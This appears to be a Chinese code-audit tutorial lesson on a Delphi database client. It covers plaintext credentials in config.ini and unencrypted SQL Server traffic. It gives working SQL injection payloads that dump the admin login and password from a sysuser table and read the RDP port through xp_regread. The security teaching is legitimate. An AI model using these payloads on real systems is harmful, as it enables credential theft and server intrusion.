第三課:Delphi代碼審計--項目實戰(zhàn)1
專注APT攻擊與防御
https://micropoor.blogspot.com/

程序的主要function,與 procedure

注:Delphi把操作數(shù)據(jù)的方法分成了兩種,一種是function,另一種是procedure,大致理
解為“函數(shù)”和“過程”。
Procedure類似C語言中的無返回值函數(shù),即VOID。而Function就是c語言中的有返回值函
數(shù),即沒有Void。

程序分為2種連接數(shù)據(jù)庫模式:

無論是本地模式,還是聯(lián)網(wǎng)模式,都是讀取,當前路徑的config.ini配置文件:
(導致敏感信息暴漏,可直連服務器)
繼續(xù)跟數(shù)據(jù)庫連接:配合SQL Server數(shù)據(jù)庫,直接帶入,可以判斷出為明文存儲。

config.ini配置如下:

基于TCP通信,SQL Server通信構架大致如下:
(可導致通信過程中抓取明文執(zhí)行)


代入執(zhí)行:
(導致可拼接sql語句,查詢任意語句或者執(zhí)行命令)

部分語句其中如下:

select distinct memberid,receivecompany from weigh where receivecompany is not
null and receivecompany like ''%'+xxxxxx+'%''

軟件呈現(xiàn)如下:

對應 收貨單位編號,以及收貨單位名稱。分別為:memberid,receivecompany
閉合語句為:

2' ; select loginid as memberid , password as receivecompany from sysuser --

抓取返回如圖:

得到admin 賬號以及密碼。

構造讀取遠程桌面端口號:

得到遠程服務器端口號

2' ; EXEC master..xp_regread
'HKEY_LOCAL_MACHINE','SYSTEMCurrentControlSetControlTerminal
ServerWinStationsRDP-Tcp','PortNumber' --

copy 獲取緩沖區(qū)內容:
(導致可從服務器端構造代碼)

copy 用法如下:
copy(a,b,c);
a:就是copy源,就是一個字符串,表示你將要從a里copy一些東西,
b:從a中的第b位開始copy(包含第11位),
c:copy從第b位開始后的c個字符,
exp: m:=‘the test fuck'
s:=copy(m,2,2); //s值為‘he’

當超出范圍,會發(fā)生異常錯誤。實例中,從服務器數(shù)據(jù)庫獲取數(shù)據(jù)后進行copy。

軟件登陸部分代碼如下:
(導致可自動化跑 loginid。)

多次嘗試錯誤處理如下:退出軟件,并且重新開始計算。
Micropoor
?